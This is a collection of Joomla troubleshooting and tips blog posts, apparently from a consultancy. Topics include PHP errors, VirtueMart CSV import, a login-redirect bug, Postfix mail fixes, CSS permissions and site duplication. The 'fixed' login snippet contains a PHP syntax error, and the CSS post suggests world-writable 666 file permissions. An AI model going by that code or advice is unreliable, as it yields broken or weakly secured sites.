Cookie migration across domains is one of the most delicate and complicated issues on the web, and not only Joomla. If you have multiple Joomla websites that you need to unify the login on, then we’re here to help. Just contact us and let us prove to you how efficient, fast, and creative we are! (PS: Don’t worry about our fees, they are very reasonable!)

Are You Suddenly Seeing an Error on Every Page of Your Joomla Website?

We just got a call from a new client. The client told us that he was suddenly seeing an error on every page of his Joomla website. The page still loads, but there is an error on every page that loads. It’s not the first time that we had such a call, and that’s why we decided to write a comprehensive post about this topic. So, what is the reason for this and how can this be fixed?

Well, there are two scenarios when you have this problem:

  1. The error appears on every page, but the page still loads

    In this case, what you’re seeing is a warning or a notice, and not an error. The reasons for seeing warnings and notices are many, and they include (but are not limited to) the following:

    • Header issues: You are printing something (like an empty space) before the headers are sent to the browser – this causes a warning to be raised. Usually the cause of this is that there is a character (such as an empty space) that was wrongly inserted in one of your Joomla files.
    • Session issues: The Joomla engine is trying to retrieve/store non-necessary information from/to the $_SESSION array, but it’s unable to do so.

    • File issues: You are including a file that doesn’t exist or that was already included using the include PHP function. The solution to this problem is by ensuring that you use include_once and you only include files that do exist.

    • Database issues: There is an error in one of your SQL queries. This error however, is still tolerated by the Joomla engine and that’s why the page still loads (generally this is the case when the SQL error happens in one of the non-critical modules).

    • Missing argument(s): This warning happens when you are calling a function that requires n mandatory parameters, but you are passing less than n values to the function. For example, let’s say you have this following function:

      function add(a, b){
      return a + b;
      }

      A correct call of the function above is add(2, 3);. If you omit the second argument (3), then you will get the following warning: Missing argument 2 for add().

    • Array warnings: For example, a script on your Joomla website is trying to access an invalid element of an array (e.g. the array consists of 4 elements and your script is trying to access element #8), or is trying to use array functions on non-arrays. (such as using array_merge or ksort)

    All of the above are warnings and not notices. Notices, which are just information sent by PHP, generally do not indicate anything major on your website, and they are there just to inform you about something. Most of the notices on a Joomla website are about coding standards and deprecated functions. The default installation of the latest Joomla version (1.5.25, 1.7, or 2.5) does not raise any notices – so whenever you see a notice it’s because of some code that you have added to your website, or because of a badly written/old extension.

    Notices and warnings can be suppressed by logging in to your Joomla control panel and then going to SiteGlobal Configuration, and then setting the Error Reporting field to None, and finally clicking on the Save button on the top left.

  2. The error appears on every page, and the rest of the page does not load

    In this situation, what are you are seeing is an actual error. The difference between warnings/notices and errors is that the latter will halt any progress of the page loading process. There are many errors that can happen on a Joomla website, and they are can be categorized into five types:

    1. Joomla Errors: Joomla errors include the famous “invalid token” problem as well as the component not found error. Joomla errors are raised by the Joomla engine and are Joomla specific errors. Joomla errors indicate a misuse (or bad coding) of the Joomla extensions/templates/functionalities.
    2. PHP Errors: PHP errors on a Joomla website are errors that have to do with the coding or with the environment. Common PHP errors include:

      • Parse errors: Parse errors are errors that result usually from typos or missing (or extra) brackets, parenthesis, or semicolons. Parse errors are easily solved as the PHP parser will indicate exactly where they are (which file and which line).
      • Permission errors: Permission errors happen when Joomla is not able to read or write from/to a critical file because of wrong permissions. For example, Joomla needs to read the configuration.php file at all times, but if the permissions on that file are 222 (can only be written) then Joomla cannot read it.

      • Include errors: Include errors happen when PHP is trying to include a file, but that file does not exist or exists in another location than the one specified. Include errors happen when you use the require or the require_once functions instead of the include or include_once functions.

      • Memory errors: Memory errors mean that the script has exceeded the memory limitation set by the default PHP configuration. Memory errors are when you see something like Fatal error: Allowed memory size of n bytes exhausted (tried to allocate m bytes). Memory errors can be easily solved by increasing the memory for the PHP instance either in the php.ini, or, more conveniently, by using the ini_set function. For example, placing ini_set('memory_limit', '1024M'); in your index.php file will increase the memory allocated for your Joomla website to 1 GB (1024 MB).

      • Execution time exceeded errors: These errors happen when the page just takes so much time to be executed on the server before sending it to the client. Most hosting companies set the maximum execution time to around 30 seconds. If the page does not get executed within the maximum execution time, then the page will display the following error: Fatal error: Maximum execution time of n seconds exceeded. Again, this error can be addressed by increasing the maximum execution time in php.ini or by adding the following code to the top of your index.php file:

        ini_set("max_execution_time", "600");

        The above code changes the maximum execution time of the script to 10 minutes (600 seconds) – which should be more than enough for any PHP script out there!

      • Usage in wrong context errors: For example, you are trying to use an object as a string or as an array.

      • Object errors: For example, you are trying to access a static method as non-static or vice versa. In this case, you will see the following error: Fatal error: Cannot make non static method [functionname] static in class [classname] in /home/yourjoomlawebsite.com/public_html/modules/modulename/classname.php on line n. Another object error is when you’re trying to invoke a method on a non-object (in this case you will see: Fatal error: Call to a member function on a non-object)

      • Other fatal PHP errors include: Re-declaring functions/classes (you will see something like Cannot re-declare function… or Cannot re-declare class), division by zero errors, redefining constants, etc…

    3. Database Errors

      Some (not all) database errors can crash your whole website, causing a “fatal error” to show on every single page. Common database errors include:

      • Connection errors: Connection errors happen when the Joomla website cannot connect to the database at all. Connection errors usually happen because of one (or more) of the following:
        • The link between Joomla and the database is lost. This often happens when the Joomla website (e.g. PHP code) is on one server, and the database is on another server, and the connection between the two servers cannot be established for one reason or the other.

        • The username and/or password to the database is wrong. This happens when the supplied username and/or password in the configuration.php do not match the correct username and/or password for that particular database.

        • The database doesn’t exist. This often happens because of a typo in the database name, or when moving the Joomla website from one server to another, where the name of the database is different.

        Usually, when there is a connection error, you will see the following error message on every page of your Joomla website: Database Error: Unable to connect to the database: Could not connect to MySQL.

      • SQL errors: These errors happen because of a wrong query statement. Of course, we have already listed SQL errors as warnings above and we stated that they don’t break the website. However, there are some queries on your Joomla website that are critical to the website as a whole, and if they are wrong, they can definitely break it. Site breaking queries include System plugins queries – such queries can render the whole website inoperable if wrong as they run on every page!

    4. .htaccess errors: The .htaccess file located in the root directory of your Joomla website is a very delicate file. If you make a mistake anywhere on this file there is a high chance that your whole website will go down – displaying the much dreaded “Internal Server Error” message.

    5. Internal Server Errors: These errors can be any of the errors mentioned above, it’s just there’s a way to program Joomla to throw a “500 – Internal Server Error” whenever a fatal error occurs. You will need to turn debugging on in order to know what the actual error is. Note that often, an internal server error means that there’s something wrong with your .htaccess file and it relates to Joomla’s SEF or sh404. Disable the aforementioned extensions and see if this resolves the problem.

    6. If you are seeing an error on every page of your Joomla website and are unable to fix the problem then why don’t you contact us? We are fast, we are friendly, we can definitely help you, and our fees are very reasonable!

How to Import a CSV File Into VirtueMart?

Every week, we get about 2 requests from customers asking us to import their products’ database (in a CSV format) into VirtueMart on their Joomla website. Usually, every customer has the following 4 columns (fields) in his CSV file:

  • Product Name
  • Product Description
  • Product Price
  • Product Category

The remaining columns differ based on the customer’s business. But usually, the above 4 columns are pretty much standard. Almost every customer tells us the same story: He created a CSV file containing all his products, he installed a Joomla Extension called CSVI VirtueMart (CSVI stands for “Comma Separated Values Improved”), and he tried to import the CSV into his VirtueMart database tables by using the aforementioned extension. In many cases, not only the import did not work, but it also corrupted the VirtueMart tables (which means that the user had to revert from a previous backup to fix the affected tables).

The problem is that CSVI VirtueMart is made with the programmer in mind, and it also expects the following for the import to be successful:

  • Columns to be in specific positions inside the CSV file
  • Data is escaped properly
  • CSV file is an actual file, and not an Excel file

In addition to the above, CSVI VirtueMart‘s import functionality is very poor, as it’s unable to import advanced data such as custom fields. (size, options, etc…) Not to mention that it’s also unable to import nested categories and product images. All in all, using CSVI VirtueMart to import the data for your products can be a very painful process and it might just take you days to do the import properly (that is if you don’t run into issues where CSVI VirtueMart completely corrupts your existing VirtueMart data). We think that CSVI VirtueMart did a great job simplifying the process, but the import functionality is still not stable and can be potentially dangerous to your data and your website.

So, what is the solution? Well, the solution to importing a CSV file into VirtueMart is either developing a PHP script yourself that will do this or hiring a Joomla Expert in order to do this for you.

In essence, here’s what you or the Joomla expert should do:

  • Create a PHP file that will read the CSV file using the function fgetcsv
  • Loop through the array resulting from reading your CSV file and insert the data into the appropriate VirtueMart tables
  • That’s it!

Doing the above is not an easy task (although it seems like it is). This is because you need to ensure that your data is read properly and inserted properly into the appropriate tables. What if you have a product that belongs to multiple categories? What if you have a product with one or more attributes? (such as T-Shirt size or T-Shirt color) What if you have a product with a complex discount structure?

Of course, the process can be more complicated if you want to import images as well. The easiest (yet still complicated) way of doing this is to create another PHP script that will import a zip file which contains the images of your products where each image is named after a product. For example, if you have a product called “White Teddy Bear”, then the associated image should be named “white-teddy-bear.jpg”. This will ensure that the script is able to associate the image with the product. So, in short, the script should extract the zip file to a temporary directory, intelligently associate the images with their respective products, and finally move the images to the right folder that contains the images of all the VirtueMart products. Needless to say, importing the images should happen after importing the products.

As you can see from the above, the concept is not that hard, but the application can be quite challenging, especially when you have lots of products, your products’ data is not consistent, and your products have images with names resembling, but not identical, to the names of the products. A Joomla expert can take 1 to 2 days creating the import script(s) and testing them – depending on your data and your requirements.

If you need help importing a CSV file into VirtueMart, then look no further: We are very experienced in Joomla and we are always ready and eager to help you. Just contact us and we’ll take it from there!

Fixing the Login Twice and the Logout Twice Problem on Your Joomla Frontend

One of our customers had a very odd problem that we fixed a couple of days ago: whenever someone tried to login to his frontend, he had to do it twice. The login worked from the first time in rare situations, but most of the times the person had to enter his username and password twice (it always worked in the second time). The same problem existed for the logout. The person had to logout twice. (We noticed that the person had to logout twice only when he had to login twice)

When we started working on the website, we didn’t know what the problem is. We checked the login extension (module and component) to see if there’s anything wrong with them, but everything was fine. We also did a quick check on all the user related files, yet nothing seemed to be the culprit – the only non-standard thing that we saw was a redirect happening on a login to a 3rd party website before redirecting back to the problem (we have seen this on several other website, so we never thought of it as a problem). It was a very weird problem.

We then wanted to see if the username and password are actually posted (stored in $_POST) the first time the user tries to login, and they were…

Our next step was to examine the $_SESSION array to see if it’s actually storing the user information: it was rarely storing this information from the first time, and it was always storing it from the second time. Additionally, when the person was trying to logout, it was not clearing the user information from the first time (in most case) – but was always clearing the information from the second time the user clicked on the logout button.

We did spend some time trying to examine what the problem was, but, at one point, someone on the team noticed (while passing by) that the user was being redirected on login from http://www.ourcusomterjoomlawebsite/ to http://ourcustomerjoomlawebsite. That was the problem! That small non-standard script that we mentioned earlier was redirecting to a 3rd party website on login and then redirecting back to the website – but it was redirecting to the wrong link. Our client had hacked the controller.php file located under ourcustomerjoomlawebsite/components/com_user/ by adding the following lines after $error = $mainframe->login($credentials, $options); by adding the following code:

$redirect_url = urlencode('http://ourcusomterjoomlawebsite/');
$authentication = $thirdPartyOject->getAuthentication();
$return = 'http://3rdpartywebsite/?authentication='.$authentication.'&redirect_url='.urlencode($redirect_url);

So, his Joomla website was redirecting to a 3rd party website and then redirecting back to his Joomla website, but without the www. So, if registered users used http://www.ourcusomterjoomlawebsite/ to login to his website, they were redirected back to http://ourcusomterjoomlawebsite/ and that’s why they looked as logged out. If they tried to login from http://ourcusomterjoomlawebsite/ then the login worked from the first time because the redirect was redirecting to the same website (Note: technically, and from a cookie-based perspective, there is a huge difference between www and non-www: if a person logs in to the www version of the website it does not mean that he’s logged in to the non-www version, that’s why some large websites do something called “cookie migration” to prevent this problem from happening with their users).

A similar script was found on the logout action.

To solve the login problem, we changed the above code to:

$redirect_url = urlencode('http://'. $_SERVER['HTTP_HOST'];);
$return = 'http://3rdpartywebsite/?remote_auth_token='.$remote_auth_login_token.'&redirect_url='.urlencode($redirect_url);

By using $_SERVER[‘HTTP_HOST’], we ensured that the 3rd party website always redirected to the same website. We did the same thing on the logout script and that solved the problem!

If you have the above problem on your Joomla website (you need to login and logout twice) or any other Joomla problem and you need help than that’s why we’re here for! Just contact us and we’ll be more than glad to help you. You don’t worry about our fees, they’re very reasonable!

SendMail Problems with Joomla

We had a very interesting job today. A new client came to us, and told us that his Joomla website was not sending emails. We first thought that it was the settings that he had on his configuration, but everything was fine. His mail settings were correct, he was using “PHP Mailer” as Mailer and his sendmail path was set to /usr/sbin/sendmail. Odd!

We then thought that he didn’t have sendmail installed so we checked on his server and it was indeed, installed. Sendmail did exist under /usr/sbin.

Our next step was to see if it’s a Joomla problem or not, so we created a small test script called test.php on the root directory of the website. The file contained the following code:

<?php
$to    = 'ouremail';
$subject= 'Email Subject';
$body    = 'This is the body of the email';
$headers='From: ouremail' . "\r\n" .
'Reply-To: ouremail' . "\r\n" .
'X-Mailer: itoctopus!';
$mail_sent = mail($to, $subject, $body, $headers);
if ($mail_sent)
	echo('Email sent');
else
	echo('Email not sent');
?>

The example above is just a simple script to send an email to ourselves. The script just prints Email sent in case the email was successfully sent, and Email not sent in case the email wasn’t successfully sent. To our surprise, the script printed Email sent, so the email was actually sent, but how come we received nothing? This case was becoming more curious.

Our next step was to check the mail log, by typing the below (when connected through SSH):

tail /var/log/mail.log

We saw a curious error in the above log that looked like the below:

Feb 14 21:28:36 joomla16 postfix/smtp[19374]: 30F574182B: to=ouremail, relay=itoctopus.com[67.222.6.192]:25, delay=2.3, delays=0.04/0.01/2.2/0.06, dsn=5.0.0, status=bounced (host itoctopus.com[67.222.6.192] said: 550 Access denied - Invalid HELO name (See RFC2821 4.1.1.1) (in reply to MAIL FROM command))

Ah ha! So the mail was indeed sent, but it was rejected by our server. The above error tells us that the cause of rejection is because the server sending the email has a spammy looking hostname (the Invalid HELO name). So, the key to solving the problem lies in the configuration file for Postfix.

Here’s what we did:

  • We opened the file /etc/postfix/main.cf (which is the main configuration file for Postfix).
  • We located this line: myhostname = localhost (this should be the 30th line in the main.cf configuration file).
  • We changed it to myhostname = ourclientjoomlawebsite.com.

We restarted postfix and then we tested our email script and it worked! We then moved to test the emails on the Joomla website itself and they worked as well! Problem solved! The whole work, including the investigation and testing, was done in just over 2 hours. Our client was happy, and we were happy!

In case you have problems with mail on your Joomla website, then we’ll be happy to help you (all you need to do is to contact us!). The work shouldn’t take us that much time and it won’t cost you much!

RSForm Not Working on Your Joomla Website?

We are currently working on a very interesting project. The project consists of a migration of a Joomla website to another sever, as well as several major fixes to the website. One of these “fixes” revolve around an RSForm Form, that doesn’t work. The form seems to submit, but then redirects back to itself (instead of going to specified thank you page), without populating the database, and without sending the necessary emails.

After analyzing the problem, we have discovered that it’s related to 3 issues:

  1. Caching
  2. SEF
  3. Captchas

The problem was indeed very weird. We did the necessary research on it, and we discovered that the people at RSFom are aware of it, and they told their uses to fix it using a hack, which is very annoying. The hack mainly consists of using a non-SEF link to access the form itself. We thought (Ehemm…) that we can do better!

After a lot of analysis, we discovered that the problem lies in the System Cache plugin. This was already confirmed by the RSForm people but we needed to make sure. So, in order to fix the problem, we need to ensure that all the forms that we have do not use the System Cache plugin. Here’s what we did:

  • We opened the file cache.php, which is located under /yourjoomlawebsite/plugins/system.
  • We created an exception, in every function, that explicitly tells the function to avoid running any script if the page is one of these forms (we used the $_SERVER[‘REQUEST_URI’] to check for the page name).
  • We saved the file and we uploaded it back.
  • The RSForm still didn’t work!

Odd!

We then tried creating the exact same form: We created a form and we copied all the fields to the new form. We tried the form and it worked! So, apparently what we did solved the problem, so how come the first form still doesn’t work?

After heavy investigation, we discovered that the form had another problem: The form had a catpcha, layout autgeneration was disabled, and the custom layout did not include the captcha at all. We fixed this problem and now the form works! (Hooray!)

We have to say that the RSForm is one of the better extensions that we work on, but, as with all other extensions, it has its own quirks! And, there was one wise Joomla expert that once said: “No matter what you do, there will be a day when cache and SEF are going to bite you!”

If you have an RSForm that doesn’t work, and if you need help doing the above or if doing the above doesn’t work for you, then feel free to contact us, we’re here to help! We’ll do the job in record time and our rates are very fair!

Unable to Edit the CSS File in Joomla?

Occasionally, one of our (potential) clients calls us and tells that he’s not able to edit the CSS file on his Joomla website. Usually, the client just wants to change a color or a font. Sometimes the client is not able to see the Template Manager section so he’s not even able to see the CSS file. In other cases, the client is able to see the Template Manager section, and is able to view the CSS file of a particular template, but he’s not able to save the CSS.

Usually in the first case, when the person is not even able to see the Template Manager menu, the problem is because the person is not given a super administrator access to the website. This is because only super administrators are allowed to edit the templates and the CSS files of the templates. This problem can be remedied by granting super administrative access to that person, or by creating another super administrator user on the website and giving that person the username and password of the newly created user.

In the second situation (where the user is attempting to save his edits to the CSS file of the Joomla website and he’s getting an error message) it’s more likely a permission issue on the CSS file. For example the CSS file could be assigned the 444 permissions, which means that any user on the system can read the file, but no one can write to it. Changing the permissions briefly to 644 will solve the problem (if not, then try changing the permissions to 666). Here’s how permissions can be changed on the CSS file: 1) FTP to your website using your favorite clients, 2) locate the CSS file (the CSS file of your Joomla website should be located under /yourjoomlawebsite.com/templates/yourtemplatename/css/template.css, 3) right click on the file and change the permissions by setting them to -rw-r--r-- (644) or, if this doesn’t work, then change the permissions to -rw-rw-rw-.

Now you should be able to edit and save your CSS file. But, what if you change your CSS file and nothing happens (the changes aren’t reflected on your website)? Then, you might have one of the following problems:

  • Your browser is caching the previous CSS. Clear your browser cache and see if that solves the problem.
  • You are trying to change the wrong CSS file for the wrong template.
  • You are trying to change the right CSS file for the right template, but you’re changing the wrong CSS class.
  • You’re changing the right CSS class, but there is another CSS class in another supporting CSS file (such as red.css) that overrides the CSS class you’re trying to change.

If you’re still having problems with your CSS file on your Joomla template, then feel free to contact us – we’ll definitely help you. Oh and don’t worry about our fees, they are very cheap!

Is It Worth It to Upgrade to Joomla 2.5?

Every since Joomla 2.5 was released last week, customers have been asking us this question: “Is it worth it to upgrade to Joomla 2.5?” That’s a very legitimate question. Our answer to this question is always like this: “It’s worth it as there are some features that are in Joomla 2.5 that do not exist in previous categories, but what’s the rush?”

The thing is we don’t think it’s pressing for people to adopt Joomla 2.5, and we have 4 reasons why:

  1. Joomla 2.5 is very new (it’s only 9 days old at the time of writing this post) and it’s not tested very well by the community yet. It’s better to wait for more sites to have it installed and wait until all the bugs are fixed.
  2. Many extensions still don’t support Joomla 2.5, so you’ll have the latest Joomla version, but you won’t have any templates or extensions that are compatible with it, and it’ll be very hard and costly to migrate your templates and extensions to the latest version of Joomla.

  3. Joomla’s latest versions were a flop. Remember the 1.6 version and the 1.7 version? Not too many people adopted them and many bugs were reported. Joomla 1.6 and Joomla 1.7 are both retired/to be retired before Joomla 1.5 is retired (Joomla 1.5 is by far the most stable Joomla version right now). It’s better to wait for a few months to see if Joomla 2.5 will be any different than the previous 2 versions or if it will share the same fate.

  4. The upgrade from Joomla 1.5 to Joomla 2.5 is a painful, very painful process. Most likely in the future the Joomla people will develop a simpler process to do the upgrade.

Unfortunately, we think that Joomla didn’t do well with the latest Joomla releases (Joomla 1.6 and Joomla 1.7), and that’s why at itoctopus, we don’t trust the latest version as of yet. We’ll have to wait a few months to see if there are stability/security/compatibility issues with this version. Until then, we suggest you remain with whatever version of Joomla you currently have installed. From the experience we have from working on many Joomla websites throughout the years, we can safely say that Joomla 1.5 is by far the most stable. Joomla 1.6 is the worst, followed by Joomla 1.7. We are currently neutral on Joomla 2.5, but that neutrality might change to either a positive or a negative opinion in the future (we hope it’ll be positive).

If you really want to upgrade to Joomla 2.5 then we can help you do this. Just contact us and we’ll be very happy to serve you! (We’re the friendliest Joomla experts out there!)

Which Joomla File Is the Database?

Every other week or so, we get a call from a (potential) client that goes like this:

Client: “Hi!”
Us: “Hi!”https://www.itoctopus.com/wp-admin/post.php?action=edit&post=1329&message=1
Client: “I would like to make some edits to my database, and I want to know which Joomla file is the database.”
Us: “Well sir, the database is not stored in any Joomla file, the database is (usually) MySQL database – Joomla just connects to this database.”

The above conversation is typical, there is a misconception that there is a Joomla file where all the data is stored, which is not the case. In this post, we will explain where is the Joomla database, and what are the two main Joomla files used to connect and interact with the database.

Where is the Joomla database?

The Joomla database exists on usually a MySQL server, the name of the database is declared in your configuration.php file. In order to view your Joomla database, you will need to do the following:

  • Login to your cPanel account.
  • Go to your phpMyAdmin in cPanel (there should be a phpMyAdmin icon somewhere in the middle of your cPanel home screen).
  • Locate the name of your database (which is declared in the $db variable in your configuration.php file) and click on it (in phpMyAdmin).
  • Now you can view all the tables in your database (you can click on any table to view its contents). Your data is stored in these tables, for example, your articles are stored in jos_content, and your users are stored in jos_users.

What are the two main files that are used to connect to your Joomla database?

Joomla mainly uses 2 files (of course, there are many supporting files, but these two are the main ones) to connect to your database and to interact with your database:

  1. configuration.php: This file is located under the root directory of your Joomla website. It contains the connection parameters to your database, specifically:
    • The type of the database: The type of the database is usually mysql, and it is stored in the $db_type variable.
    • The name of the database: This is the name of the database storing the data for your Joomla website. The database name is stored in the $db variable.
    • The table prefix: Also known as database/table alias, the table prefix defines what prefix should be appended to your Joomla tables in the database. The table prefix is defaulted to jos_, that’s why in the Joomla database, you have tables such as jos_categories instead of just categories. The table prefix is defined by the $table_prefix variable. The table prefix is useful in case you have multiple websites powered by the same database (and you don’t need to have conflicts between the tables). It is also very useful for security (it will be hard to guess your table name if you change the table prefix. (see 10 Security Tips for Your Joomla Website).
    • The database user: The username that is used to connect to your Joomla database. It is stored in the $user variable.
    • The user’s password: This is the password of the user above. It is stored in the $password variable.

    Now, we have all the connection parameters to the database, but how do we connect to the database and get data? Well, that’s the job of database.php!

  2. database.php: This file is located under this folder: /yourjoomlawebsite/libraries/joomla/database/, and it is responsible for connecting to the database (by using the connection parameters in configuration.php), getting data from your database, and inserting/modifying/deleting data in your database.

    The database.php file contains a class called JDatabase that contains all the methods needed to interact with your database. Note that you should never change the database.php file. Doing so may leave your website non-operational.

If you have problems with your Joomla database and you need help, then that why we’re here for! Just contact us and we’ll do our best to help you! We’re also very fun to work with!

25 Joomla Important Tips

In this post, we will list the most important tips that you can use to have a safe, fast, and efficient Joomla website. The tips are grouped into 3 categories:

  1. Security tips
  2. Performance tips
  3. General tips

Important security tips for Joomla

We have discussed before 10 security tips for your Joomla website. We will re-discuss them concisely (and a bit differently) in this section…

  1. Always have the latest Joomla version for your website: This is a very good practice, since usually the Joomla people fix some important security issues (as well as functionality/performance issues) in the latest version. However, don’t jump to adopt the latest released version – wait a few months until others test it.
  2. Ensure your Joomla version is not available to the world to see: Hackers/spammers exploit your Joomla website based on its version. If you hide the Joomla version of your website, you will make their job a bit harder.

  3. Do not install extensions that don’t look trustworthy: Only install high-rated extensions by reputable developers. Note that paid extensions are not necessarily safer or more robust than free extensions.

  4. Always update your Joomla extensions to the latest version: Outdated Joomla extensions are popular targets for spammers and hackers. It is necessary that you update your Joomla extensions to the latest version, as latest versions always have security/performance patches.

  5. Don’t rely on Joomla’s built-in security – install security extensions: There are many reliable security extensions for Joomla. Choose one and install it (just ensure that the one you’re about to install doesn’t conflict with the functionality of your website).

  6. Change the defaults in your configuration.php file: The configuration.php file in your Joomla website’s root directory has many default values that should be changed, including the following: $secret and $dbprefix (the latter is also referred to as the table alias).

  7. Give only write permissions to files/directories that need to be written by the outside world: Ensure that your template files, your configuration file, your .htaccess file, and all Joomla core files are given the 444 permission (which just gives read permission to every group).

  8. Your passwords shouldn’t be the same forever: Most hacked websites suffer from a common problem – the passwords of these websites (and the services related to these websites such as MySQL, FTP, etc…) are never changed. Change your passwords often, and make sure that your passwords are strong!

  9. Block malicious code from being uploaded to your website: Malicious code uploaded to a website should be the #1 worry of any Joomla administrator. You should block malicious code from being uploaded by filtering HTML and removing all JavaScript tags. In short, people should only be allowed to upload pure text (no HTML, no JavaScript). Also, ensure that the directory where people upload files to has no execute permissions (otherwise, they can upload a malicious PHP file and execute it on your server).

  10. Check your website by running 3rd party scans: There are many tools available on the Internet that will scan your website for security issues.

  11. Ensure that your environment is clean: Your hosting environment should have the latest version of everything: Apache, PHP, MySQL. Additionally, you should, if your budget affords it, have your Joomla website run on its own dedicated server (especially if it’s your main business).

  12. Read the logs: Your website logs are created for a reason – so that someone can read them. Check the logs to see any suspicious activities on your website.

Important performance tips for Joomla

Some of the security tips above (such as reading the logs and updating your Joomla website and its extensions) have a positive effect on the performance of your Joomla website. In addition to that, here are some other tips:

  1. Ensure that all the tables are optimized: Check all the tables in your Joomla database and ensure that all the fields are optimized. E.g. the fields are the correct type (for example, a field that is only 0 or 1 doesn’t need to be an integer, it can be a boolean), and that fields that are used in search queries are indexed.
  2. Check your slow query log: The slow query log can reveal serious bottlenecks that are chocking your website. By checking your slow query log you’ll be able to determine which queries are slowing down your whole website. This comment on one of our previous posts states that the person had a query that was taking 30 minutes to be executed – we’re sure that he used the slow query log to find that query.

  3. Clean your Joomla website directory: Your Joomla website directory should only contain Joomla core files, configuration files, extensions, and user uploaded data. It shouldn’t contain test files or test directories (or even backup files). Ensure that this directory is always clean.

  4. Clean your database: Ensure that the database for your Joomla website has only Joomla related tables. Also, remove all test data/obsolete data from your tables. (We know, it’s a very tedious job. But it can do miracles to your website’s performance).

  5. Completely uninstall extensions that you’re not using: You’ll be amazed how many things are done when a page on a Joomla website loads. Ensure that only the necessary things are executed when a page is loading, by removing all unnecessary extensions (especially plugins).

  6. Optimize Joomla’s core code: Joomla’s code is very generic and it’s most likely overkill for you own website (there are many conditions that are executed that are never relevant to your website). You will definitely see a performance gain if you optimize Joomla’s core code to fit your own needs, as well as the extensions that you’re using. However, it is important to know that once you tweak Joomla’s core code, it’ll be impossible for you to move to another Joomla version smoothly. You will need to hack the Joomla version that you’re moving to as well… In addition to that, you will need to have some very good programming skills in order to tweak Joomla’s core.

  7. Optimize your template: From our experience, Joomla templates (whether paid or not) are usually not very optimized. This is because they’re written by non-programmers or by weak programmers. Optimizing your Joomla template usually optimizes the performance of your Joomla website.

Important general tips for Joomla

Here are some general Joomla tips that will just make your Joomla website better and more versatile.

  1. Read the documentation that comes with your Joomla template: Almost every (complicated) Joomla template comes with documentation on how to install it. For some reason, most Joomla administrators don’t read it, and that’s why the template doesn’t work. Reading the instructions that came with the template will save you a lot of time and headache later on.
  2. Check extensions for “free” links: Some developers, even those developing paid extensions, think that they are entitled to place a “free” link to their website on your Joomla website in return for you using their extensions. We think this is wrong, and it will negatively affect the SEO of your website especially if a lot of “bad neighborhood” sites are linking to the developer’s website (which tends to be the case almost all the time). Check the code of these extensions in order to remove these links.

  3. Ensure polymorphic paths are used: Some extensions use only http paths when including some files (images/css/js). This is wrong. The path to any file should be polymorphic, in other words, it should change to https under https mode, and to http under http mode. Note that the use of non-polymorphic paths is the main cause of VirtueMart errors on checkout.

  4. Use SSL only when needed: Only use SSL on checkout pages – other than that, use normal http. The reason of this is that there is some overhead associated with using SSL, for both the client machine and the server.

  5. Ensure that the order of the plugins is correct: Generally, cache plugins should be executed last, and before them SEO/SEF should be executed. All other plugins should be executed first. However, you may need to tweak that order depending on the plugins.

  6. Use caching wisely: Ask any programmer, and he’ll tell you that caching, in Joomla, is a necessary evil. Ensure that you only use caching where there are significant performance gains. Menus and other interactive modules should not be cached (you can disable caching at the module level).

We know it’s hard to implement the above especially if you don’t have any programming experience, and that’s why wer’e here to help. Also, if you want continued maintenance of your Joomla website, then check our Joomla maintenance package. It’ll ensure that your website works and performs as it should – all the time! Oh, and it’s very affordable!

How to Duplicate a Joomla Site

We have explained before how you can move your Joomla website from one server to another. That post, with minor modification, can be used to duplicate your Joomla website. However, we are going to explain the whole process from scratch to make it easier for you, our readers/customers.

In short, the process is:

  • Download your Joomla website, preferably through FTP
  • Export your database, preferably through phpMyAdmin
  • Upload your downloaded Joomla website to the new location
  • Import the exported database into a new database
  • Change the configuration.php file to point to the right Joomla installation and the right database

So, the first thing that you need to is to download your Joomla website. All you need to do in this step is to connect through FTP to your website, and download all the folders/files in the remote directory of your Joomla website. The folders/files should be downloaded to a local directory on your machine, let’s call this directory myjoomlawebsite.

The second step is to export the database. All you need to do is to go the phpMyAdmin interface of your current Joomla website, click on the name of the database of your Joomla website (it should be on the left), and then click on the “Import/Export” tab on the top right. Follow the instructions there to export your database. Call the exported file myjoomlawebsite.sql

Now that you have the database and the files, you need to move them to the new location (where you want to duplicate your website). The first thing that you need to do is to upload the files: Just connect, through FTP, to the location where you want to place the duplicated website in, and then upload all the folders/files that are in myjoomlawebsite. Now that the folders/files are uploaded, you will need to import the database. Just go to the phpMyAdmin of the new location (which may or may not be on the new server), create a new database and call it, for example, myjoomladatabase2, and then click on import on the top. Follow the instructions to import myjoomlawebsite.sql into myjoomladatabase2.

Now the final step is to modify the configuration.php file, which is located in the root directory of your Joomla copied site, to point to the correct database and to the right website. Here’s how to do this:

  • Open your configuration.php file located under your duplicated Joomla website.
  • Change the value of $db to the name of the duplicated database, which is myjoomladatabase2.
  • Change the value of $user and $password to point to the right ones (that are able to access the duplicated database).
  • Change the value of the $live_site to your new domain (or sub-domain)
  • Change the value of the $log_path and $tmp_path to point to the physical log and temporary directory paths on the new website.
  • That’s it!

Just following the above instructions is sufficient to duplicate your Joomla website.

Some important things to mention:

  • Duplicating your website and making your website viewable for the world (including search engines) is a big no-no. It will dilute the value of your content and your website will lose a lot of its credibility, especially if search engines discover that you’re the one behind the duplication of the website, and it wasn’t just someone stealing your content (it will be considered as duplicate content). If you must duplicate your website, then make sure that the new website is only reachable through an Apache password (by using an htpasswd file).
  • We don’t recommend using Akeeba to duplicate your Joomla website as we have seen may stability issues caused by Akeeba imports. If you still want to use Akeeba, then you will need to follow a different process: you will first need to install an empty Joomla website (you need to ensure it’s the same version), and then install Akeeba, and then use Akeeba to import your new website.

  • In some cases, your Joomla copy, even when duplicated correctly, will not work. This is because of differences in the environments between your original Joomla environment and your duplicated Joomla environment. The differences in the environments can stem from differences in PHP versions, PHP modules, Apache versions, MySQL versions, etc…

If you need help duplicating your Joomla website then all you need to do is contact us. Our fees are very cheap and we’re always excited to work with new customers!

How to Handle Duplicate Content on Your Joomla Website?

One of the worst things (SEO wise) that you can have on your Joomla website is duplicate content. Duplicate content will dilute the importance of your content by confusing search engines on which content to list in the SERPs (Search Engine Results Pages). There are many causes for duplicate content to appear on your website:

  • You have links that contain flags that do not change the content of your pages. For example, we know that some versions of VirtueMart (under specific settings) add this flag redirected=1 (this happens when you are being redirected from https to http) and this one flypage= to the links of your products pages. These links are internal for VirtueMart and do not change the content whatsoever.
  • You are using a mix of SEF/non SEF links on your Joomla website for the same pages. For example, you are linking to both http//www.yourjoomlawebsite.com?option=com_content&articleId=5 and http://www.yourjoomlawebsite.com/yourarticle.html which are actually the same pages.

